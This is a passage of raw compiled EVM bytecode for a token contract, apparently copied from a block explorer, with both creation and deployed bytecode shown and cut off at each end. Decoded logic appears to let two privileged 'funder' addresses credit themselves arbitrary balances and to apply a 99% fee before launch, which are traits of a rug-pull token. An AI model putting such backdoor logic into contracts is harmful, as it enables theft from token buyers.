00473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a9e57503373ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610add576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad49061314f565b60405180910390fd5b80600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b2c919061316f565b925050819055503373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b909190612b18565b60405180910390a350565b600c5481565b6000600354905090565b600b5481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3690612fb2565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610e8657610e05826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ba89092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610e91848484611c0c565b90509392505050565b60006009905090565b6000610ecf827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610903565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5b90612fb2565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601460009054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a090612fb2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff16600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061121057503373ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61124f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112469061314f565b60405180910390fd5b80601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160086000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461134b906130d2565b80601f0160208091040260200160405190810160405280929190818152602001828054611377906130d2565b80156113c45780601f10611399576101008083540402835291602001916113c4565b820191906000526020600020905b8154815290600101906020018083116113a757829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461145c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145390612fb2565b60405180910390fd5b81600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611578338484611c0c565b905092915050565b60165481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461163a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163190612fb2565b60405180910390fd5b8260098190555081600a8190555061165b828461204390919063ffffffff16565b600b8190555080600c819055506003600c546116779190613072565b600b54106116ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b1906131ef565b60405180910390fd5b505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174490612fb2565b60405180910390fd5b82601460006101000a81548160ff0219169083151502179055508160158190555080601681905550505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff16600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806118d057503373ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61190f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119069061314f565b60405180910390fd5b80600d8190555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199e90612fb2565b60405180910390fd5b6000601354036119bd57436013819055506119c6565b60006013819055505b565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4d90612fb2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611ac5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abc9061325b565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000838311158290611bf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be79190612bc3565b60405180910390fd5b5060008385611bff919061327b565b9050809150509392505050565b600080611c1884610fd2565b90506004548382611c29919061316f565b111580611c7f5750600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611cbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb590613321565b60405180910390fd5b611cc66120a1565b8015611d1f5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611d2d57611d2c612178565b5b60006298968084611d3e9190613072565b9050600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611de75750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b15611dfb578084611df8919061327b565b93505b611e84846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ba89092919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611ed387876126f3565b611edd5784611f39565b611f388786601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff16146127a1565b5b9050611f8d81600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461204390919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161202d9190612b18565b60405180910390a3600193505050509392505050565b6000808284612052919061316f565b905083811015612097576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208e9061338d565b60405180910390fd5b8091505092915050565b6000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415801561210e5750601760009054906101000a900460ff16155b80156121265750601460009054906101000a900460ff165b80156121735750601554600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001601760006101000a81548160ff0219169083151502179055506000601654600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156121e857601654905061222b565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b6000612269600261225b600b5461224d6009548761293090919063ffffffff16565b6129aa90919063ffffffff16565b6129aa90919063ffffffff16565b9050600061228082846129f490919063ffffffff16565b90506000600267ffffffffffffffff81111561229f5761229e6133ad565b5b6040519080825280602002602001820160405280156122cd5781602001602082028036833780820191505090505b50905030816000815181106122e5576122e46133dc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561238c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123b09190613420565b816001815181106123c4576123c36133dc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612462959493929190613546565b600060405180830381600087803b15801561247c57600080fd5b505af1158015612490573d6000803e3d6000fd5b50505050600047905060006124c56124b460026009546129aa90919063ffffffff16565b600b546129f490919063ffffffff16565b9050600061250360026124f5846124e76009548861293090919063ffffffff16565b6129aa90919063ffffffff16565b6129aa90919063ffffffff16565b9050600061251a82856129f490919063ffffffff16565b905060008111156125bc576000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168261753090604051612571906135d1565b600060405180830381858888f193505050503d80600081146125af576040519150601f19603f3d011682016040523d82523d6000602084013e6125b4565b606091505b505080915050505b60008711156126ce57601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308a600080600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161264e969594939291906135e6565b60606040518083038185885af115801561266c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612691919061365c565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450682886040516126c59291906136af565b60405180910390a15b50505050505050506000601760006101000a81548160ff021916908315150217905550565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156127995750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b600080826127b05760646127b4565b600d545b9050600080601354116127c85760636127cc565b600b545b905060006128156064600c546127e29190613001565b612807856127f9868b61293090919063ffffffff16565b61293090919063ffffffff16565b6129aa90919063ffffffff16565b905061286981600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461204390919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516129099190612b18565b60405180910390a361292481876129f490919063ffffffff16565b93505050509392505050565b600080830361294257600090506129a4565b600082846129509190613001565b905082848261295f9190613072565b1461299f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129969061374a565b60405180910390fd5b809150505b92915050565b60006129ec83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a3e565b905092915050565b6000612a3683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ba8565b905092915050565b60008083118290612a85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a7c9190612bc3565b60405180910390fd5b5060008385612a949190613072565b9050809150509392505050565b600080fd5b6000819050919050565b612ab981612aa6565b8114612ac457600080fd5b50565b600081359050612ad681612ab0565b92915050565b600060208284031215612af257612af1612aa1565b5b6000612b0084828501612ac7565b91505092915050565b612b1281612aa6565b82525050565b6000602082019050612b2d6000830184612b09565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b6d578082015181840152602081019050612b52565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b9582612b33565b612b9f8185612b3e565b9350612baf818560208601612b4f565b612bb881612b79565b840191505092915050565b60006020820190508181036000830152612bdd8184612b8a565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c1082612be5565b9050919050565b612c2081612c05565b8114612c2b57600080fd5b50565b600081359050612c3d81612c17565b92915050565b60008060408385031215612c5a57612c59612aa1565b5b6000612c6885828601612c2e565b9250506020612c7985828601612ac7565b9150509250929050565b60008115159050919050565b612c9881612c83565b82525050565b6000602082019050612cb36000830184612c8f565b92915050565b612cc281612c83565b8114612ccd57600080fd5b50565b600081359050612cdf81612cb9565b92915050565b60008060408385031215612cfc57612cfb612aa1565b5b6000612d0a85828601612c2e565b9250506020612d1b85828601612cd0565b9150509250929050565b600080600060608486031215612d3e57612d3d612aa1565b5b6000612d4c86828701612c2e565b9350506020612d5d86828701612c2e565b9250506040612d6e86828701612ac7565b9150509250925092565b600060ff82169050919050565b612d8e81612d78565b82525050565b6000602082019050612da96000830184612d85565b92915050565b600060208284031215612dc557612dc4612aa1565b5b6000612dd384828501612c2e565b91505092915050565b612de581612c05565b82525050565b6000602082019050612e006000830184612ddc565b92915050565b60008060408385031215612e1d57612e1c612aa1565b5b6000612e2b85828601612c2e565b9250506020612e3c85828601612c2e565b9150509250929050565b600080600060608486031215612e5f57612e5e612aa1565b5b6000612e6d86828701612ac7565b9350506020612e7e86828701612ac7565b9250506040612e8f86828701612ac7565b9150509250925092565b600080600060608486031215612eb257612eb1612aa1565b5b6000612ec086828701612cd0565b9350506020612ed186828701612ac7565b9250506040612ee286828701612ac7565b9150509250925092565b6000819050919050565b6000612f11612f0c612f0784612be5565b612eec565b612be5565b9050919050565b6000612f2382612ef6565b9050919050565b6000612f3582612f18565b9050919050565b612f4581612f2a565b82525050565b6000602082019050612f606000830184612f3c565b92915050565b7f216f776e65720000000000000000000000000000000000000000000000000000600082015250565b6000612f9c600683612b3e565b9150612fa782612f66565b602082019050919050565b60006020820190508181036000830152612fcb81612f8f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061300c82612aa6565b915061301783612aa6565b925082820261302581612aa6565b9150828204841483151761303c5761303b612fd2565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061307d82612aa6565b915061308883612aa6565b92508261309857613097613043565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806130ea57607f821691505b6020821081036130fd576130fc6130a3565b5b50919050565b7f2146756e64657200000000000000000000000000000000000000000000000000600082015250565b6000613139600783612b3e565b915061314482613103565b602082019050919050565b600060208201905081810360008301526131688161312c565b9050919050565b600061317a82612aa6565b915061318583612aa6565b925082820190508082111561319d5761319c612fd2565b5b92915050565b7f466565732063616e6e6f74206265206d6f7265207468616e2033332500000000600082015250565b60006131d9601c83612b3e565b91506131e4826131a3565b602082019050919050565b60006020820190508181036000830152613208816131cc565b9050919050565b7f6e65772069732030000000000000000000000000000000000000000000000000600082015250565b6000613245600883612b3e565b91506132508261320f565b602082019050919050565b6000602082019050818103600083015261327481613238565b9050919050565b600061328682612aa6565b915061329183612aa6565b92508282039050818111156132a9576132a8612fd2565b5b92915050565b7f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460008201527f65642c2068652063616e206e6f7420686f6c642074686174206d7563682e0000602082015250565b600061330b603e83612b3e565b9150613316826132af565b604082019050919050565b6000602082019050818103600083015261333a816132fe565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613377601b83612b3e565b915061338282613341565b602082019050919050565b600060208201905081810360008301526133a68161336a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061341a81612c17565b92915050565b60006020828403121561343657613435612aa1565b5b60006134448482850161340b565b91505092915050565b6000819050919050565b600061347261346d6134688461344d565b612eec565b612aa6565b9050919050565b61348281613457565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6134bd81612c05565b82525050565b60006134cf83836134b4565b60208301905092915050565b6000602082019050919050565b60006134f382613488565b6134fd8185613493565b9350613508836134a4565b8060005b8381101561353957815161352088826134c3565b975061352b836134db565b92505060018101905061350c565b5085935050505092915050565b600060a08201905061355b6000830188612b09565b6135686020830187613479565b818103604083015261357a81866134e8565b90506135896060830185612ddc565b6135966080830184612b09565b9695505050505050565b600081905092915050565b50565b60006135bb6000836135a0565b91506135c6826135ab565b600082019050919050565b60006135dc826135ae565b9150819050919050565b600060c0820190506135fb6000830189612ddc565b6136086020830188612b09565b6136156040830187613479565b6136226060830186613479565b61362f6080830185612ddc565b61363c60a0830184612b09565b979650505050505050565b60008151905061365681612ab0565b92915050565b60008060006060848603121561367557613674612aa1565b5b600061368386828701613647565b935050602061369486828701613647565b92505060406136a586828701613647565b9150509250925092565b60006040820190506136c46000830185612b09565b6136d16020830184612b09565b9392505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613734602183612b3e565b915061373f826136d8565b604082019050919050565b6000602082019050818103600083015261376381613727565b905091905056fea2646970667358221220b111680ac27f4763d595a29ce3b9a665ffa85ab721b6fa72252440a5bbc96c0064736f6c634300081100330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x6080604052600436106101f25760003560e01c806373a432bb1161010d578063ca33e64c116100a0578063e96fada21161006f578063e96fada2146106fa578063ec72d65f14610725578063f11743f61461074e578063f2fde38b14610765578063f887ea401461078e576101f9565b8063ca33e64c14610640578063cec10c111461066b578063d088935814610694578063dd62ed3e146106bd576101f9565b8063a4b45c00116100dc578063a4b45c0014610584578063a8aa1b31146105ad578063a9059cbb146105d8578063acef1a4414610615576101f9565b806373a432bb146104da57806378109e54146105035780638da5cb5b1461052e57806395d89b4114610559576101f9565b80632198cf6c11610185578063658d4b7f11610154578063658d4b7f146104325780636ddd17131461045b57806370a0823114610486578063715018a6146104c3576101f9565b80632198cf6c1461036457806323b872dd1461038d578063313ce567146103ca578063571ac8b0146103f5576101f9565b806312514bba116101c157806312514bba146102ba578063180b0d7e146102e357806318160ddd1461030e5780631df4ccfc14610339576101f9565b8063012aa912146101fe5780630445b6671461022757806306fdde0314610252578063095ea7b31461027d576101f9565b366101f957005b600080fd5b34801561020a57600080fd5b5061022560048036038101906102209190612adc565b6107b9565b005b34801561023357600080fd5b5061023c61086b565b6040516102499190612b18565b60405180910390f35b34801561025e57600080fd5b50610267610871565b6040516102749190612bc3565b60405180910390f35b34801561028957600080fd5b506102a4600480360381019061029f9190612c43565b610903565b6040516102b19190612c9e565b60405180910390f35b3480156102c657600080fd5b506102e160048036038101906102dc9190612adc565b6109f5565b005b3480156102ef57600080fd5b506102f8610b9b565b6040516103059190612b18565b60405180910390f35b34801561031a57600080fd5b50610323610ba1565b6040516103309190612b18565b60405180910390f35b34801561034557600080fd5b5061034e610bab565b60405161035b9190612b18565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612ce5565b610bb1565b005b34801561039957600080fd5b506103b460048036038101906103af9190612d25565b610c9a565b6040516103c19190612c9e565b60405180910390f35b3480156103d657600080fd5b506103df610e9a565b6040516103ec9190612d94565b60405180910390f35b34801561040157600080fd5b5061041c60048036038101906104179190612daf565b610ea3565b6040516104299190612c9e565b60405180910390f35b34801561043e57600080fd5b5061045960048036038101906104549190612ce5565b610ed6565b005b34801561046757600080fd5b50610470610fbf565b60405161047d9190612c9e565b60405180910390f35b34801561049257600080fd5b506104ad60048036038101906104a89190612daf565b610fd2565b6040516104ba9190612b18565b60405180910390f35b3480156104cf57600080fd5b506104d861101b565b005b3480156104e657600080fd5b5061050160048036038101906104fc9190612daf565b611167565b005b34801561050f57600080fd5b5061051861130d565b6040516105259190612b18565b60405180910390f35b34801561053a57600080fd5b50610543611313565b6040516105509190612deb565b60405180910390f35b34801561056557600080fd5b5061056e61133c565b60405161057b9190612bc3565b60405180910390f35b34801561059057600080fd5b506105ab60048036038101906105a69190612e06565b6113ce565b005b3480156105b957600080fd5b506105c2611545565b6040516105cf9190612deb565b60405180910390f35b3480156105e457600080fd5b506105ff60048036038101906105fa9190612c43565b61156b565b60405161060c9190612c9e565b60405180910390f35b34801561062157600080fd5b5061062a611580565b6040516106379190612b18565b60405180910390f35b34801561064c57600080fd5b50610655611586565b6040516106629190612deb565b60405180910390f35b34801561067757600080fd5b50610692600480360381019061068d9190612e46565b6115ac565b005b3480156106a057600080fd5b506106bb60048036038101906106b69190612e99565b6116bf565b005b3480156106c957600080fd5b506106e460048036038101906106df9190612e06565b61177a565b6040516106f19190612b18565b60405180910390f35b34801561070657600080fd5b5061070f611801565b60405161071c9190612deb565b60405180910390f35b34801561073157600080fd5b5061074c60048036038101906107479190612adc565b611827565b005b34801561075a57600080fd5b50610763611919565b005b34801561077157600080fd5b5061078c60048036038101906107879190612daf565b6119c8565b005b34801561079a57600080fd5b506107a3611b82565b6040516107b09190612f4b565b60405180910390f35b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610847576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083e90612fb2565b60405180910390fd5b612710816003546108589190613001565b6108629190613072565b60048190555050565b60155481565b606060018054610880906130d2565b80601f01602080910402602001604051908101604052809291908181526020018280546108ac906130d2565b80156108f95780601f106108ce576101008083540402835291602001916108f9565b820191906000526020600020905b8154815290600101906020018083116108dc57829003601f168201915b5050505050905090565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516109e39190612b18565b60405180910390a36001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a9e57503373ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610add576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad49061314f565b60405180910390fd5b80600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b2c919061316f565b925050819055503373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b909190612b18565b60405180910390a350565b600c5481565b6000600354905090565b600b5481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3690612fb2565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610e8657610e05826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ba89092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610e91848484611c0c565b90509392505050565b60006009905090565b6000610ecf827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610903565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5b90612fb2565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601460009054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a090612fb2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff16600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061121057503373ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61124f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112469061314f565b60405180910390fd5b80601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffff